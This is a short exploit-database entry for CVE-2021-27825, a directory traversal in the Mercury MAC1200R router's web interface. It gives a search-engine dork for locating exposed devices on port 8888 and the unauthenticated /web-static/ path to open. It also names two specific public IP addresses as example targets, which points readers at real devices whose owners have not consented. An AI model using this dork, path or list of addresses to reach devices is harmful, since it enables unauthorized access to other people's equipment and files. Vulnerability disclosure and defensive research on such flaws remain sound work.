Lucene search

K
zdtChunlei Shang1337DAY-ID-38538
HistoryApr 07, 2023 - 12:00 a.m.

MAC 1200R - Directory Traversal Vulnerability

2023-04-0700:00:00
Chunlei Shang
0day.today
107
directory traversal
exploit
search engines
affected urls
mac1200r
ip addresses
vulnerability
mercurycom
cve-2021-27825

EPSS

0.002

Percentile

65.1%

# Exploit Title: MAC 1200R - Directory Traversal
# Google Dork: "MAC1200R" && port="8888"
# Exploit Author: Chunlei Shang, Jiangsu Public Information Co., Ltd.
# Vendor Homepage: https://www.mercurycom.com.cn/
# Software Link: https://www.mercurycom.com.cn/product-1-1.html
# Version: all versions. (REQUIRED)
# Tested on: all versions.
# CVE : CVE-2021-27825

1. Attackers can easily find the targets through various search engines with keywords "MAC1200R" && port="8888". 
2. Open the affected website like "http://IP:8888/web-static/".
3. For example:
1)http://60.251.151.2:8888/web-static/
    
2)http://222.215.15.70:8888/web-static/

EPSS

0.002

Percentile

65.1%